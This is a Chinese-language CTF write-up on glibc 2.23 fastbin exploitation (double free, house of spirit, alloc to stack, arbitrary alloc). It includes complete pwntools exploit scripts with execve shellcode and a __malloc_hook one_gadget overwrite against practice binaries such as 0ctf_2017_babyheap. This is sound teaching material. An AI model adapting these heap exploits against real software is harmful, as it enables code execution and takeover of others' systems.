fastbin_attack
这里的版本是2.23的glibc
double free
double free就是在一个函数中重复free了一个chunk
假设有这样的函数
1 2 3 4 5 6 7
| *p1=malloc(0x10) ; //chunk1 *p2=malloc(0x10); *p3=malloc(0x10);
free(p1); free(p2); free(p3);
|
这个时候fastbin中的指针会是这个样子
fastbin[20]–>chunk3—>chunk2—->chunk1
这个时候如果我们这样
1 2 3 4 5 6
| *p1=malloc(0x10) ; //chunk1 *p2=malloc(0x10); //chunk2
free(p1); free(p2); free(p1);
|
fastbin[20]–>chunk1—>chunk2<—-chunk1
这个时候molloc(0x10)
改写chunk1中的fd的地址使其指到bss段
这样
fastbin[20]–>chunk2—>chunk1—>bss
连续malloc三次就可以得到一个可读可写的heap段
house of spirit
这个利用手段就是通过溢出等手段,直接free一个地址(没有被malloc)自己伪造的堆块,后面在molloc回来,这样,你就获得了那块位置的读写权,如果你伪造的地址处放着rbp,就可以放system /binsh\x00了
伪造堆块的检查条件有几个
1.fake_chunk的ISMMAP的位置不能是1,不然系统就会认为这个heap是mmap的chunk导致一些错误
2.地址要对齐,如XXX0,XXXX8(64位)
3.fake_chunk的大小有限制
伪造 fake_chunk
时,大小必须是 2 * SIZE_SZ
的倍数。如果申请的内存大小不是 2 * SIZE_SZ
的整数倍,会自动调整为最小的符合要求的倍数。32 位系统中,SIZE_SZ
为 4,64 位系统中为 8。chunk 大小最大不能超过 av->system_mem
(128KB)。
为了确保伪造的 chunk 能挂在 fastbin
中,next_chunk
的大小通常设置为略大于 fastbin
最大值,但小于 128KB。这样在 chunk 释放时,伪造的 chunk 会插入 fastbin
,随后可以通过再次分配相同大小的块来控制伪造的 chunk
保护全关
第一个函数,也就是who are u?这里存在off by one的漏洞,可以通过溢出倒是v2把后面的地址泄露出来
这里可以看到会泄露出0x7ffc3777ed10这个地址
这里我们打印出来了泄露的地址的,因为我们写入的地址在栈上同样可以看见,我们直接计算这两地址之间的偏移(0x7ffed1ee3160-0x7ffed1ee3110),从而直接得到我们输入位置的地址(后面直接在开始的地址写入shellcode),之后方便直接调用
这里buf有个溢出,可以溢出到dest处
从而可以直接决定ptr这个变量的内容(free函数是free这个变量)
这个就是我们house of spirit漏洞的核心点
接下来我们要伪造堆块了
我们先要看give me your id ~~?”后面的值在哪
这里选择输入123泄露位置
这里可以看到我们输入的bbbbbbbbcccccccc
看到123(0x7b)的位置在0x7ffdd80a3638处(可以控制)
而我们的溢出点替换掉dest的点在0x7ffdd80a3608处(伪造chunkd的地址)
图片来源
上面这张图片里面0x40前面我们可以控制,0x70处我们同样可以控制,可以在这里伪造一个fake_chunk,为了让0x70处就是next_chunk的previse_size(绕过检查),我们伪造的chunk大小应该是0x41就刚刚好
因此伪造chunk的地址是0x30处,经过gdb调试时rbp-0x90
在free后面,我们可以看到,我们本来的chunk没有被free掉,但是此时fastbin里面有地址,就是我们伪造的chunk
free掉后我们在把chunk malloc回来
这样我们就可以改写这个堆块了
这里看到read在buf处
在函数结束后的rbp是buf+0x10
所以我们的返回地址应该是buf+0x18处,也就是前面写好的shellcode的位置
最后放上这个题目的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import * context(log_level='debug',os='linux',arch='amd64') p=process('./pwn') #p=remote('node5.buuoj.cn',27147) def debug(): gdb.attach(p) pause()
debug()
sh=b'\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05' payload=sh+ (0x30- len(sh))*b'a'
p.sendafter(b'u?',payload) p.recvuntil(payload) rbp=u64(p.recv(6).ljust(8,b'\0')) buf_addr=rbp-0x50 print(hex(rbp)) print(hex(buf_addr))
fake_addr=rbp-0x90 fake_chunk=p64(0)*5+p64(0x41)+p64(0) fake_chunk+=p64(fake_addr)
#fake_chunk=b'b'*0x10+b'c'*0x18+b'd'*8
p.sendlineafter(b'give me your id ~~?',b'40') p.sendafter(b'give me money~',fake_chunk)
p.recvuntil('choice : ') p.sendline('2')
pause()
p.recvuntil('choice') p.sendline('1') p.sendlineafter(b'how long?',b'50') payload=b'a'*0x18+p64(buf_addr)
p.sendlineafter(b'50\n',payload)
p.sendlineafter(b'our choice :',b'3')
p.interactive()
|
Alloc_to_stack
这个漏洞就是在改写chunk的fd指针为想要的地址,从而达到想要地址伪造堆块,从而改写rbp等….
拿wiki上面的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| #include<stdio.h> #include<stdlib.h>
typedef struct _chunk { long long pre_size; long long size; long long fd; long long bk; } CHUNK,*PCHUNK;
int main(void) { CHUNK stack_chunk;
void *chunk1; void *chunk_a;
stack_chunk.size=0x21; chunk1=malloc(0x10);
free(chunk1);
*(long long *)chunk1=&stack_chunk; malloc(0x10); chunk_a=malloc(0x10); printf("%p",chunk_a); return 0; }
|
gcc test.c -o test -O0 -g -z execstack -z norelro -fno-stack-protector -no-pie
这里断在free前面,可以看到申请了一个chunk
free掉之后,被放到了fastbin里面去
接着改写了chunk1的fd指针
可以看到fd指针改变后,fastbin里面的链表也发生了变化
接着连续malloc两个chunk
可以看到我们输入的fd处成功成为了一个堆块
Arbitrary Alloc
这个的利用方法和前面的的alloc_to_stack一样,就是把stack的地址改成了其他段的地址,然后通过改变指定的函数地址获得shell
例题:0ctf_2017_babyheap
保护全开(这我打个鸡毛啊)
菜单
其他的函数挺正常的,这里在修改的位置没有限制修改的长度,存在堆溢出漏洞
我们先创建6个堆快
1 2 3 4 5 6
| allo(0x10) allo(0x10) allo(0x10) allo(0x10) allo(0x80) allo(0x70)
|
前四个用来溢出
第五个用来泄露main_arena的地址
第六个用来防止chunk之间的合并
先释放第三个堆块,再释放第二个堆快
这里看到bin中的链表
我们通过chunk0进行堆溢出,使chunk1->chunk5
1 2 3
| payload=p64(0)*3+p64(0x21)+p8(0x80) pause() fill(0,len(payload),payload)
|
我们再把chun5的size改为0x20,不让接下来无法把重新申请回来
1 2 3
| payload1=b'a'*0x10+p64(0)+p64(0x21) pause() fill(3,len(payload1),payload1)
|
我们要找到这些堆快的返回地址储存再哪
vmmap看一下
第一个段有异常,硬找
找到了
两边进行对照,发现chunk2的返回地址被改写成了我们chunk4的
改回chunk4的大小,并释放
1 2 3 4 5
| payload1=b'a'*0x10+p64(0)+p64(0x91) pause() fill(3,len(payload1),payload1)
free(4)
|
这是,虽然我们chunk4的地址被释放了,不能使用,但是我们chunk2 也是指向我们chunk4地址的
利用题目的打印函数,获得泄露的地址
1 2 3 4 5 6 7 8 9 10
| dump(2)
leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print(hex((leak_addr)))
unsorted_offset_addr=unsorted_offset_arena(5) print(hex(int(unsorted_offset_addr))) libc_base=leak_addr-unsorted_offset_addr-0x3c4b20
print(hex(int(libc_base)))
|
利用main_arena里面unsortedbin的偏移使固定的,找到这里的地址和main_arena的差,再利用main_arena与libc基址有个固定的差值,计算得到libc的基址
申请回unsortedbin 并改成fatsbin的大小后释放,使其进入fastbin的链表
接着我们要找一个可以伪造chunk的地址
因为我们的目的是改掉malloc这里的地址,所以我们要在这个附近找到一个可以改写这个地址的chunk
我们使用find_fake_fast这个工具来找(find_fake_fast+被写入地址+chunk大小)
找到了,并且计算偏移
1 2 3
| print(hex(int(libc_base+0x3c4aed)))
payload=p64(int(libc_base+0x3c4aed))#0x3c4aed
|
因为chunk2是指向chunk4的地址的,我们通过这里改写chunk4的fd地址,使我们伪造的chunk进入fastbin中
1
| fill(2,len(payload),payload)
|
申请两个chunk,使我们可以利用伪造的chunk
可以看到我们chunk6的位置是 我们伪造的chunk
通过计算偏移,讲malloc的位置写入one_gadget
最后随便malloc触发one_gadget
1 2 3 4 5 6 7
| gadgets=int(libc_base+0x4526a) payload =b'a'*0x13 + p64(gadgets)
fill(6, len(payload), payload)
allo(255) p.interacti
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| from pwn import * #context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context(log_level='debug') #p=remote('node5.buuoj.cn',25676) p=process('./babyheap') def debug(): gdb.attach(p) pause()
def allo(size): p.recvuntil(b'Command:') p.sendline(b'1') p.sendlineafter(b'Size:',str(size))
def fill(index,size,content): p.recvuntil(b'Command:') p.sendline(b'2') p.sendlineafter(b'Index:',str(index)) p.sendlineafter(b'Size:',str(size)) p.sendafter(b'Content:',content)
def free(index): p.recvuntil(b'Command:') p.sendline(b'3') p.sendlineafter(b'Index:',str(index))
def dump(index): p.recvuntil(b'Command:') p.sendline(b'4') p.sendlineafter(b'Index:',str(index)) p.recvuntil(b'Content:')
def exit(): p.recvuntil(b'Command: \n') p.sendline(b'5')
def unsorted_offset_arena(idx): word_bytes = context.word_size / 8 offset = 4 # lock offset += 4 # flags offset += word_bytes * 10 # offset fastbin offset += word_bytes * 2 # top,last_remainder offset += idx * 2 * word_bytes # idx offset -= word_bytes * 2 # bin overlap return offset
allo(0x10) allo(0x10) allo(0x10) allo(0x10) allo(0x80) allo(0x70) debug() free(2)
free(1)
payload=p64(0)*3+p64(0x21)+p8(0x80) pause() fill(0,len(payload),payload)
payload1=b'a'*0x10+p64(0)+p64(0x21) pause() fill(3,len(payload1),payload1)
allo(0x10)
allo(0x10)
payload1=b'a'*0x10+p64(0)+p64(0x91) pause() fill(3,len(payload1),payload1)
free(4)
dump(2) pause() leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print(hex((leak_addr)))
unsorted_offset_addr=unsorted_offset_arena(5) print(hex(int(unsorted_offset_addr))) libc_base=leak_addr-unsorted_offset_addr-0x3c4b20
print(hex(int(libc_base)))
pause() allo(0x60) free(4) print(hex(int(libc_base+0x3c4aed)))
payload=p64(int(libc_base+0x3c4aed))#0x3c4aed
fill(2,len(payload),payload)
allo(0x60) allo(0x60)
pause() gadgets=int(libc_base+0x4526a) payload =b'a'*0x13 + p64(gadgets)
fill(6, len(payload), payload)
allo(255) p.interactive()
|
参考的大佬的博客
好好说话之Fastbin Attack(2):House Of Spirit_fastbin attack house of spirit-CSDN博客
好好说话之Fastbin Attack(3):Alloc to Stack_large bin attack-CSDN博客
好好说话之Fastbin Attack(4):Arbitrary Alloc_好好说话 ctf-CSDN博客
lctf2016_pwn200 堆利用 - syscallwww - 博客园 (cnblogs.com)